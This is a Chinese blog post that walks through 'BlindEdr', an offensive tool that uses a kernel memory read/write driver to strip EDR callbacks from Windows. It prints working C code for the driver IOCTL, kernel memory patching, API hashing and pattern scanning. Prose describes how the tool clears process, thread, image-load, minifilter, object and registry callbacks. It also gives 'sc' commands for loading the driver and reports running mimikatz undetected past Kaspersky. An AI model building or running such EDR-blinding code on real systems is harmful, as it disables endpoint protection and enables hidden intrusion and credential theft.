内核攻防-(2)致盲EDR

admin 2025年2月19日11:03:56评论27 views字数 14881阅读49分36秒阅读模式

项目地址

https://github.com/k3lpi3b4nsh33/BlindEdr

需求背景

在APT攻击中使用驱动致盲EDR(Endpoint Detection and Response)的意义在于通过加载恶意或修改的驱动程序,直接操作内核数据结构,禁用或清除EDR的回调和监控机制,从而绕过安全检测。这种方法能够隐藏攻击行为、规避日志记录和实时响应,确保攻击活动在受害系统中悄无声息地进行,提高持久性和隐蔽性。  

驱动解析

项目代码: https://github.com/k3lpi3b4nsh33/rwdriver

这个函数 devctrl_RwMemory 是一个典型的驱动层代码,通常用于设备驱动程序的 I/O 控制请求处理,特别是和内存读写操作相关的情况。  

功能描述

在内核模式下执行内存读写操作,用于在同一进程内复制内存数据。

参数说明

  • DeviceObject: 设备对象指针(未使用
  • irp: I/O请求包指针
  • irpSp: IRP栈位置指针

主要流程

获取并验证系统缓冲区

验证内存操作参数(源地址、目标地址、大小)

  • 行内存复制操作
  • 完成 IRP请求

返回值

  • 成功:STATUS_SUCCESS
  • 失败:STATUS_INVALID_PARAMETER或 STATUS_UNSUCCESSFUL

使用示例

通过设备 I/O 控制代码调用此函数,传入 MEMORY_OPERATION 结构体,包含源地址、目标地址和复制大小。

NTSTATUS devctrl_RwMemory(PDEVICE_OBJECT DeviceObject, PIRP irp, PIO_STACK_LOCATION irpSp){UNREFERENCED_PARAMETER(DeviceObject);NTSTATUS status = STATUS_UNSUCCESSFUL;SIZE_T bytesTransferred = 0;// Get the system buffer and validate input parametersPVOID pBuffer = irp->AssociatedIrp.SystemBuffer;ULONG bufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;if (!pBuffer || bufferLength < sizeof(MEMORY_OPERATION)) {status = STATUS_INVALID_PARAMETER;goto Exit;}// Cast buffer to our memory operation structurePMEMORY_OPERATION memOp = (PMEMORY_OPERATION)pBuffer;// Validate memory operation parametersif (!memOp->SourceAddress || !memOp->DestinationAddress || !memOp->Size) {status = STATUS_INVALID_PARAMETER;goto Exit;}// Get current process contextPEPROCESS CurrentProcess = IoGetCurrentProcess();// Perform the memory copy operationstatus = MmCopyVirtualMemory(CurrentProcess,memOp->SourceAddress,CurrentProcess, memOp->DestinationAddress,memOp->Size,KernelMode,  // Explicitly specify kernel mode&bytesTransferred);Exit:// Set IRP completion statusirp->IoStatus.Status = status;irp->IoStatus.Information = NT_SUCCESS(status) ? bufferLength : 0;IoCompleteRequest(irp, IO_NO_INCREMENT);return status;}

可能的应用场景

该函数实现了一种基于 IOCTL 的内存操作机制,这在驱动开发中有以下典型用途:

  1. 内存读写工具
    • 用户模式程序通过 IOCTL 调用该函数,向驱动请求读写当前进程的特定内存区域。这通常用于开发调试工具或与进程交互的应用程序。
  1. 内核态内存编辑
    • 函数内部调用了 MmCopyVirtualMemory,可以用于直接操作进程的虚拟内存空间。常见的用途包括:
      • 调试器工具(读取或写入目标进程的内存)。
      • 数据注入(在内存中写入特定的数据,比如游戏外挂、数据修改器等工具)。
      • 内存复制操作的驱动辅助实现。
  1. 反病毒软件或内存分析工具
    • 此代码也可以用于安全领域,例如反病毒引擎或内存分析工具,用于从特定进程中提取敏感信息。

驱动利用Exe解析

项目代码:https://github.com/k3lpi3b4nsh33/BlindEdr

项目结构:

[项目根目录] BlindEdr/├── Source Files/│   ├── main.c                      # 主程序入口│   ├── Common.c                    # 通用功能实现│   ├── ApiHashing.c               # API哈希相关功能│   ├── Context.c                  # 上下文管理│   ├── EDRDetector.c             # EDR检测器│   └── DriverNameUtils.c         # 驱动程序名称工具├── BlindEDR/                     # EDR相关功能模块│   ├── CallbackManager.c         # 回调管理器│   ├── ObjectCallbackManager.c   # 对象回调管理│   ├── RegistryCallbackManager.c # 注册表回调管理│   └── FiilterCallbackManager.c  # 过滤器回调管理├── Header Files/│   ├── Common.h                 # 通用头文件│   ├── Structs.h                # 结构定义│   ├── RemoveCallBacks.h        # 回调移除功能│   ├── Debug.h                  # 调试功能│   ├── FunctionPointers.h       # 函数指针定义│   ├── ApiHashing.h             # API哈希头文件│   ├── IatCamo.h                # IAT伪装功能│   └── Disclaimer.h             # 免责声明├── Resource Files/              # 资源文件目录└── Build Files/    ├── BlindEdr.vcxproj         # Visual Studio项目文件    ├── BlindEdr.vcxproj.filters # 项目筛选器配置    └── x64/        └── Release/            └── BlindEdr.exe.recipe  # 生成配置文件

核心原理

所有操作的原理是:我已经能控制驱动的内存读写函数,通过这个函数去修改相关EDR内核数据结构的地址。

在 Common.c中,DriverMemoryOperation 这个函数是与驱动交互的关键函数。它是传入了一个结构体 PMemOp,然后在驱动中是用 MmCopyVirtualMemory这个进行操作。从R3的角度来说,我们就是用了一个Memcpy的函数进行操作,但是我们现在的Memcpy函数处于驱动层

VOID DriverMemoryOperation(PVOID fromAddress,    // Source ptrPVOID toAddress,      // Target ptrsize_t len,           // LengthMEMORY_OPERATION opType){PBasic_INFO pbasic_info = GetContext();PMemOp req = NULL;DWORD bytesRet = 0;BOOL success = FALSE;HANDLE hDevice = GetContextHandle();PMemoryPatch ppt = GetPatchTable();// Backup kernel memory before write operationsif (opType == MEMORY_WRITE && (UINT64)toAddress > 0xFFFF000000000000){PMemOp bkreq = NULL;PMemoryPatch cpt = NULL;PCHAR pBackup = (PCHAR)calloc(len, 1);if (pBackup){bkreq = (PMemOp)malloc(sizeof(MemOp));if (bkreq){// Configure backup requestbkreq->SourceAddress = toAddress;bkreq->Size = len;bkreq->DestinationAddress = pBackup;success = DeviceIoControl(hDevice, RW_MEM_CODE, bkreq,sizeof(MemOp), bkreq, sizeof(MemOp), &bytesRet, NULL);if (success){// Update patch tablecpt = (PMemoryPatch)malloc(sizeof(MemoryPatch));if (cpt){cpt->pAddr = toAddress;cpt->szData = len;cpt->pData = pBackup;cpt->pNext = pbasic_info->PatchTable;pbasic_info->PatchTable = cpt;}}free(bkreq);}else {free(pBackup);}}}// Execute memory operationreq = (PMemOp)malloc(sizeof(MemOp));if (req){req->SourceAddress = fromAddress;req->Size = len;req->DestinationAddress = toAddress;success = DeviceIoControl(hDevice, RW_MEM_CODE, req,sizeof(MemOp), req, sizeof(MemOp), &bytesRet, NULL);if (!success) {CloseHandle(hDevice);}free(req);}}

API哈希动态获取

这个实现的主要目的和意义:

1、反检测和反调试
  • 避免在程序中直接存储 API 函数名称字符串
  • 规避静态分析和特征码检测
  • 增加逆向分析的难度

2、动态解析

  • 使用哈希值代替明文字符串
  • 运行时动态计算和匹配 API函数
  • 绕过导入表(IAT)监控

首先先编写 CityHash的函数,我这里用了三个不同的哈希值进行计算分别是 FIRST_HASHSECOND_HASHTHIRD_HASH

API 函数解析流程 GetProcAddressH

  • 遍历模块导出表

  • 计算每个导出函数名的哈希值

  • 与预定义哈希值比对

  • 处理转发函数情况

  • 返回匹配函数地址

模块句柄的获取 GetModuleHandleH

  • 支持内核模块和用户模块的处理

  • 使用 NtQuerySystemInformation 获取系统模块信息

  • 大小写不敏感的哈希匹配

具体是怎么使用,见GetFuncAddressH,在这里需要加载的是FLTMGR.SYSNTOSKRNL.exe

EDR解决方案是一个高级的终端安全工具,能够实时检测、响应和记录终端的安全事件。它通常依赖于文件系统的过滤功能来监控文件活动,并及时捕捉威胁。

FLTMGR.SYS 的作用

  • 文件操作监控:EDR 通过使用 Windows 提供的文件系统过滤器框架(基于 FLTMGR.SYS),拦截文件的创建、读取、修改和删除等操作。比如,当恶意软件试图加密文件时,EDR 可以实时监测和阻止。
  • 行为记录:EDR 使用 FLTMGR.SYS 提供的功能记录终端上的文件活动日志,包括文件路径、修改时间、用户行为等,为威胁分析和回溯提供数据支持。
  • 实时拦截:基于过滤器驱动,EDR 能够在文件操作真正发生前拦截威胁操作(如未知程序写入文件或尝试修改系统文件)。

NTOSKRNL.exe 的作用

  • FLTMGR.SYS:作为文件系统过滤管理器,与 NTOSKRNL.EXE 协同工作,处理文件操作请求
  • 驱动程序:所有内核模式驱动程序都依赖 NTOSKRNL.EXE 提供的接口
  • 用户模式程序:用户程序通过系统调用访问 NTOSKRNL.EXE 的功能(例如文件读写、网络通信)
UINT64 GetFuncAddressH(IN UINT32 ModuleNameHash, IN UINT32 FuncNameHash){    // Get kernel module base    PVOID KBase = GetModuleBaseH(ModuleNameHash);    if (!KBase) {        return 0;    }    // Get user-mode module handle    HMODULE hModule = NULL;    HMODULE hKernel32 = GetModuleHandleH(kernel32dll_CH, FALSE);    if (!hKernel32) {        return 0;    }    // Load appropriate module    if (ModuleNameHash == FLTMGRSYS_CH) {        fnLoadLibraryExA pLoadLibraryEx = (fnLoadLibraryExA)GetProcAddressH(hKernel32, LoadLibraryExA_CH);        if (pLoadLibraryEx) {            hModule = pLoadLibraryEx("C:\windows\system32\drivers\FLTMGR.SYS",                                    NULL, DONT_RESOLVE_DLL_REFERENCES);        }    } else if(ModuleNameHash == NTOSKRNLEXE_CH){        fnLoadLibraryA pLoadLibrary = (fnLoadLibraryA)GetProcAddressH(hKernel32, LoadLibraryA_CH);        if (pLoadLibrary) {            hModule = pLoadLibrary("ntoskrnl.exe");        }    }    if (!hModule) {        return 0;    }    // Get and calculate final function address    VOID* ProcAddr = GetProcAddressH(hModule, FuncNameHash);    return ProcAddr ? ((UINT64)KBase + ((UINT64)ProcAddr - (UINT64)hModule)) : 0;}

这段代码实现了一个智能的内核函数地址解析机制。首先获取目标内核模块的实际基地址,然后通过哈希匹配从 kernel32.dll 中获取 LoadLibraryExA/LoadLibraryA 函数。对于 FLTMGR.SYS,使用 LoadLibraryExA 并指定 DONT_RESOLVE_DLL_REFERENCES 标志加载驱动文件作为模板;对于 ntoskrnl.exe,则使用普通的 LoadLibraryA 加载。通过计算目标函数在用户态加载的模块中的偏移,再加上实际的内核模块基地址,最终得到函数在内核空间中的真实地址。

 这种方法避免了直接读取内核内存,同时通过哈希隐藏了敏感的函数名和模块名

各EDR特征

必要函数

IsEDRHash

IsEDRHash 的基本原理是通过对驱动程序名称(DriverName)的哈希值或名称前缀匹配来检测特定的安全防护软件驱动程序(如杀毒软件或EDR工具)

哈希值匹配:将驱动程序名称转换为一个唯一的哈希值。与内置的已知安全驱动程序的哈希列表(AVDriverHashes)逐一比较。  如果匹配,则说明该驱动程序属于已知的安全软件,返回 TRUE

字符串匹配

  • 检查驱动程序名称是否包含某些已知的字符串(PrefixKESDriver)。
  • 如果名称中包含这些特定前缀,也返回 TRUE

FindPattern

1、在内存中按字节逐地址扫描,寻找符合指定模式的指令或数据结构。

2、模式匹配由外部定义的验证函数(如 ValidateLeaPattern、ValidateCallJmpPattern 等)提供逻辑。

3、适配不同的模式和用途,例如:

寻找特定的汇编指令(如 LEA 或 CALL)

定位内核中的特定回调函数或数据结构

// Find pattern in memoryUINT64 FindPattern(UINT64 startAddress, const PATTERN_SEARCH* pattern, int maxCount) {    if (!pattern || pattern->length == 0) {        return 0;    }    BYTE* buffer = (BYTE*)malloc(pattern->length);    if (!buffer) {        return 0;    }    int count = 0;    UINT64 currentAddr = startAddress;    while (count++ < maxCount) {        // Read memory at current address        DriverMemoryOperation((VOID*)currentAddr, buffer, pattern->length, MEMORY_WRITE);        if (pattern->validate) {            if (pattern->validate(buffer)) {                free(buffer);                return currentAddr;            }        }        currentAddr++;    }    free(buffer);    return 0;}
  1. 验证输入参数
    • 如果传入的 pattern 是空指针,或者其长度为 0,则直接返回 0(表示未找到)。
    • 同时,分配一块内存缓冲区(大小为 pattern->length),用于存储从目标地址读取的内存内容
BYTE* buffer = (BYTE*)malloc(pattern->length);if (!buffer) {    return 0;}
2、初始化搜索状态
    • currentAddr:从 startAddress 开始。
    • count:控制循环次数。
UINT64 currentAddr = startAddress;int count = 0;

3、逐地址搜索

    • 循环最多 maxCount 次,每次从当前地址读取长度为 pattern->length 的内存内容到缓冲区 buffer 中:
DriverMemoryOperation((VOID*)currentAddr, buffer, pattern->length, MEMORY_WRITE);

4、调用验证函数

    • 如果模式结构中提供了验证函数 pattern->validate,就将读取到的内存数据(buffer)传入验证函数
if (pattern->validate) {    if (pattern->validate(buffer)) {        free(buffer);        return currentAddr;    }}
如果验证函数返回 TRUE,表示当前地址的数据匹配目标模式,返回当前地址。
5、继续搜索
    • 如果当前地址的数据不匹配目标模式,则将地址递增 1,继续搜索下一地址的内容
currentAddr++;

6、释放资源

    • 如果搜索到 maxCount 次仍未找到匹配的模式,释放分配的内存并返回 0,表示未找到:
free(buffer);return 0;

示例:匹配 LEA RAX, [RIP+Offset] 指令

假设内存内容如下:

Address: 0x1000  | 0x48 0x8D 0x05 0xA0 0x00 ...Address: 0x1001  | 0x48 0x8D 0x05 0xB0 0x00 ...

调用:

PATTERN_SEARCH leaPattern = {    .length = 3,    .validate = ValidateLeaRipPattern,    .name = "LEA_RIP"    };UINT64 result = FindPattern(0x1000, &leaPattern, 100);

执行步骤:

1、 DriverMemoryOperation 依次读取 0x10000x1001 的 3 个字节数据到 buffer
2、调用 ValidateLeaRipPattern 检查:
    • 地址 0x1000 的内容 0x48 0x8D 0x05 匹配。
    • 返回地址 0x1000

结果:

result=0x1000

CalculateOffset

因为基本所有数据都是小端存储,所以我们要从后面往前面读取

UINT64 CalculateOffset(UINT64 address, int startOffset, int count) {BYTE* buffer = (BYTE*)malloc(1);UINT64 offset = 0;for (int i = count, k = 24; i > startOffset; i--, k -= 8) {DriverMemoryOperation((VOID*)(address + i), buffer, 1, MEMORY_WRITE);offset = ((UINT64)*buffer << k) + offset;}if ((offset & SIGN_EXTENSION_MASK) == SIGN_EXTENSION_MASK) {offset |= FULL_EXTENSION_MASK;}return offset;}

函数输入参数

  • UINT64 address:基地址,表示要从哪里开始读取数据。
  • int startOffset:起始偏移,用于定义从哪个字节开始读取数据。
  • int count:要读取的字节数量,表示读取多少字节作为偏移量

主要功能步骤

  • 循环读取字节数据
    • 从指定内存地址的某一偏移位置开始逐字节读取数据(DriverMemoryOperation )。
    • 按照字节顺序将每个字节拼接成一个 64 位偏移量。
  • 符号扩展
    • 如果计算出的偏移量的高位包含符号位(SIGN_EXTENSION_MASK),则对该值进行符号扩展(适用于负偏移量)
if ((offset & SIGN_EXTENSION_MASK) == SIGN_EXTENSION_MASK) {    offset |= FULL_EXTENSION_MASK;}
  • 返回结果
    • 返回最终计算的偏移量(offset

代码逻辑示例:

内存内容

Address0x1000 | 0x10 | 0x20 | 0x30 | 0x40

调用:

UINT64offset= CalculateOffset(0x100013);

从地址 0x1000 + 3 开始逐字节读取,依次读取 0x400x300x20

  • 拼接成偏移量:
  • offset = (0x40 << 24) + (0x30 << 16) + (0x20 << 8)

符号扩展:

  • 如果最高位为符号位(负数),则扩展符号位。
offset = 0x40000000 + 0x00300000 + 0x00002000       = 0x40302000

这个是 32位或者是64位的offset(如果是64位会进行符号补充)

之后我们得到了 offset之后就可以获得 base+offset = targetaddr

目标地址 = 基地址 +offset

清除核心回调内核

CallbackManager.c

CallbackManager.c 实现了 Windows 内核回调的检测、管理和清理功能,主要用于处理进程创建、线程创建和镜像加载等系统回调。

这里删除的回调函数有三种

1、进程创建回调:

哈希:PsSetCreateProcessNotifyRoutine_CH

监控进程创建和终止

2、线程创建回调:

哈希:PsSetCreateThreadNotifyRoutine_CH

监控线程创建和终止

3、镜像加载回调:

哈希:PsSetLoadImageNotifyRoutine_CH

监控DLL和驱动加载

回调处理函数(ProcessDriverCallback):

  • 作用:检查特定驱动回调函数是否与 EDR 相关,若是,则清除回调。
  • 实现细节
    • 计算内存地址,读取回调信息。
    • 验证驱动程序名称,判断是否为已知的 EDR 驱动(使用 IsEDRHash 方法)。
    • 通过内核内存写入操作(DriverMemoryOperation),清除回调

获取回调数组地址(GetPspNotifyRoutineArrayH):

  • 作用:定位 PspNotifyRoutineArray 的地址,这是存储内核回调函数的数组。
  • 实现细节
    • 根据 Windows 版本判断如何解析地址。
    • 使用模式匹配(FindPattern)和指令偏移(CalculateOffset)提取目标地址。
    • 兼容不同版本的 Windows(如 Win7/Win10)。

打印和清除回调(PrintAndClearCallBack):

  • 作用:扫描回调数组中的每个条目,打印其相关信息,并清除 EDR 回调
  • 实现细节
    • 遍历回调数组,按索引逐一读取回调地址。
    • 通过位操作解析回调函数的实际地址。
    • 验证驱动程序名称,若是 EDR 驱动,清除其回调条目。

清除多种回调(ClearThreeCallBack):

  • 作用:批量处理与进程、线程和模块加载相关的三种回调。采用结构体加循环的方法进行清除回调函数。
  • 实现细节
    • 定义多个回调类型(如 PsSetCreateProcessNotifyRoutine
    • 使用 GetPspNotifyRoutineArrayH 获取各回调的数组地址。
    • 调用 PrintAndClearCallBack 逐一清理回调
VOID ClearThreeCallBack() {// Define callback type structurestruct CallbackInfo {UINT32routineNameHash;const CHAR* routineName;INT64 address;};// Define all callbacks to be processedstruct CallbackInfo callbacks[] = {{PsSetCreateProcessNotifyRoutine_CH,"PsSetCreateProcessNotifyRoutine", 0},{PsSetCreateThreadNotifyRoutine_CH,"PsSetCreateThreadNotifyRoutine", 0},{PsSetLoadImageNotifyRoutine_CH,"PsSetLoadImageNotifyRoutine", 0}};// Get and process all callbacksfor (int i = 0; i < sizeof(callbacks) / sizeof(callbacks[0]); i++) {callbacks[i].address = GetPspNotifyRoutineArrayH(callbacks[i].routineNameHash);if (callbacks[i].address) {PrintAndClearCallBack(callbacks[i].address, (CHAR*)callbacks[i].routineName);} else {printf("Failed to obtain %s callback address.n", callbacks[i].routineName);}}}

FilterCallBackManager.c

函数 1:RemoveInstanceCallback

功能概述

1、 遍历和处理 FLT_FILTER 对应的所有 FLT_INSTANCE 实例,清除其关联的回调节点。
2、 每个 FLT_INSTANCE 可能关联多个回调节点(Callback Nodes),通过清除这些节点,可以移除某些 EDR 检测的挂钩机制。

核心逻辑解析

  1. 初始化偏移量
  • 通过操作系统版本号(dwMajor 和 dwBuild),动态确定 MiniFilter 数据结构中的关键偏移量:
    • instanceListOffsetFLT_FILTER 中实例列表的偏移。
    • instanceOffset:实例结构中下一实例的偏移。
    • CallBackOffset:回调节点数组的偏移。

如果这些偏移量未能成功获取,则直接退出。

  1. 遍历实例列表
  • 从 FLT_FILTER 中读取首个实例地址,循环遍历整个实例链表:
    • 通过读取实例列表指针(FilterInstanceAddr),计算实例链表的节点数(count)。
    • 依次访问每个实例并处理其内容。
  1. 处理回调节点
  • 遍历每个实例的回调节点数组(以 CallBackOffset 为基准):
    • 如果某个回调节点存在(不为 0),则:
      • 打印回调节点的地址。
      • 清除该回调节点的内存值(写入 0),实现回调清除。
  1. 完成处理
  • 处理完所有节点后,遍历到下一个实例,直到链表末尾。

函数 2:ClearMiniFilterCallBack

功能概述

  • 枚举系统中所有 MiniFilter 驱动,并对其进行回调清理。
  • 包括 FLT_FILTER 和 FLT_VOLUMES 数据结构的回调遍历和清除。

核心逻辑解析

1、定位全局 MiniFilter 数据结构

  • 通过搜索指定模式(调用 FindPattern 函数),找到 FltGlobals 数据结构的位置。
  • 解析并计算全局框架(FLT_FRAME)的地址,提取指向 FLT_FILTER 和 FLT_VOLUMES 的指针。
2、处理 MiniFilter 驱动列表
  • 遍历 FLT_FILTER 链表:
    • 获取每个 MiniFilter 驱动的地址及名称(通过 ReadDriverName)。
    • 检查是否是与 EDR 相关的驱动(通过 IsEDRHash 判断)。
    • 如果是 EDR 驱动,调用 RemoveInstanceCallback,清除其回调实例。
3、处理卷(Volume)回调
  • 遍历 FLT_VOLUMES 链表:
    • 获取卷回调节点的基地址(VolumesCallback)。
    • 遍历并处理回调节点链表:
      • 检查节点是否属于 EDR 实例(IsEDRIntance)。
      • 如果是,则清除该节点,并更新链表链接(Flink 和 Blink)。
4、输出处理结果
  • 打印每个 FLT_FILTER 和 FLT_VOLUMES 的地址及处理情况,包括清理的节点数量。

ObjectCallBackManager.c

  1. 获取回调列表的头指针
    • 根据对象类型(PsProcessType 或 PsThreadType),找到与 ObRegisterCallbacks 相关的回调链表头地址。
    • 使用特定的偏移量(取决于操作系统版本)解析内核结构。
  1. 遍历回调链表
    • 逐个节点读取链表中注册的 PreOperation 和 PostOperation 回调函数地址。
  1. 判断是否为 EDR 回调
    • 检查回调函数所属的驱动程序名称是否属于已知的 EDR 驱动(通过 IsEDRHash 函数)。
  1. 清除 EDR 回调
    • 如果检测到是 EDR 回调,直接清空对应节点的回调地址(通过写入 0)。

1. ClearObRegisterCallbacks

功能

  • 是整个逻辑的入口,负责调用其他函数枚举和清理与 ObRegisterCallbacks 相关的回调函数。

逻辑

  1. 定义了两个对象类型:
  • PsProcessType:进程对象回调。
  • PsThreadType:线程对象回调。
  1. 遍历对象类型数组,逐个处理每种对象类型的回调。
  • 调用 GetPsProcessAndProcessTypeAddr 获取对应类型的回调链表头地址。
  • 调用 RemoveObRegisterCallbacks 清理对应类型的回调链表。

2. GetPsProcessAndProcessTypeAddr

功能

  • 根据对象类型(PsProcessType 或 PsThreadType),获取回调链表头的地址。

逻辑

  1. 根据对象类型选择合适的内核函数:
  • 进程类型选择 NtDuplicateObject_CH
  • 线程类型选择 NtOpenThreadTokenEx_CH
  1. 通过模式搜索(FindPattern)定位回调链表头的地址指针。
  • 使用 CalculateOffset 解析指令中的偏移量。
  • 读取指针的值,返回链表头地址。

3. RemoveObRegisterCallbacks

功能

  • 清除指定类型对象的回调列表中与 EDR 相关的回调。

逻辑

1、 确定链表头地址
  • 根据 OS 版本和对象类型,计算回调列表的偏移量。
  • 读取链表头指针(Flink 和 Blink)。
2、 遍历链表节点
  • 遍历整个链表,统计回调节点数量。
  • 对每个节点读取 PreOperation 和 PostOperation 回调地址。
3、清理回调
  • 对每个回调地址调用 ProcessCallback
    • 检查回调地址对应的驱动名称。
    • 如果是 EDR 回调,清空其内存值。
  • 移动到链表中的下一个节点。

4、ProcessCallback

功能

  • 处理每个回调函数地址,检查是否属于 EDR 驱动,并清理回调。

逻辑

1、根据回调地址获取对应的驱动程序名称(GetDriverName)。
2、调用 IsEDRHash 检查驱动程序是否属于已知的 EDR 驱动。
3、如果是 EDR 驱动,清除对应的回调地址,并打印清理信息。

RegistryCallbackManager.c

这段代码的主要作用是清理与 CmRegisterCallback 注册的注册表回调函数,同时枚举和打印当前已注册的驱动名称。通过修改回调链表的头节点地址(或其他字段),代码尝试绕过 Windows 内核的 PatchGuard 保护机制,从而清理或禁用特定的回调(如 EDR 相关的回调)。 

获取回调链表地址

  • 使用 CmUnRegisterCallback 函数的地址,定位回调链表的头节点地址。
  • 通过模式匹配和偏移量计算得到链表头。

遍历回调链表

  • 读取链表中的每个节点,提取注册的回调函数地址。
  • 获取回调函数所属驱动名称,并打印。

清空回调链表

  • 修改链表的头节点地址,使所有回调失效。
  • 仅修改头节点,避免触发 Windows 的 PatchGuard 检测。

常用的规避EDR技巧

IatCamouflage(IAT Camouflage)函数的主要功能是通过混淆手段隐藏真实的意图或行为,具体体现在以下几个方面:

1、动态内存分配和随机化

    • 使用伪随机的种子和时间戳生成随机大小的内存缓冲区。
    • 在缓冲区中存储伪随机值,增加调试和分析的复杂度。
2、引入不可预测性
    • 使用 __rdtsc()(获取 CPU 时间戳计数器)和随机化的哈希值生成不可预测的执行路径。
3、混淆 IAT 使用痕迹
    • 调用一系列 Windows API 函数(如 GetTickCount64GetSystemInfo 等),引入大量看似无关的操作。
    • 通过这些调用干扰逆向分析工具对 IAT(Import Address Table)依赖的行为分析。
4、 隐藏执行逻辑
    • 将随机生成的哈希值与动态计算值(基于时间戳和系统信息)混合,干扰静态和动态分析。
5、 内存清理
    • 在执行完伪代码逻辑后,释放分配的随机缓冲区,减少内存残留信息

操作演示

开启windows 测试模式,然后重启系统

内核攻防-(2)致盲EDR
内核攻防-(2)致盲EDR

创建驱动服务,开启驱动服务

sc create rwdriver binPath= "C:UsersDriverDesktopdriverrwdriver.sys" type= kernel start= demandsc start rwdriver
内核攻防-(2)致盲EDR

免责声明

内核攻防-(2)致盲EDR

输入1致盲,输入2恢复致盲(需要有MemoryFile.data)

内核攻防-(2)致盲EDR

具体致盲效果

内核攻防-(2)致盲EDR

如果去除了debug宏,就无显示

内核攻防-(2)致盲EDR
内核攻防-(2)致盲EDR

无感落地,因为已经把filter清除掉了

内核攻防-(2)致盲EDR

直接骑在卡巴头上用mimikatz

内核攻防-(2)致盲EDR

恢复致盲后,会直接禁止访问

内核攻防-(2)致盲EDR

参考

https://www.pnpon.com/

AV/EDR 完全致盲 - 清除6大内核回调实现

原文始发于微信公众号(七芒星实验室):内核攻防-(2)致盲EDR

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  • 本文由 发表于 2025年2月19日11:03:56
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                   内核攻防-(2)致盲EDRhttps://cn-sec.com/archives/3758927.html
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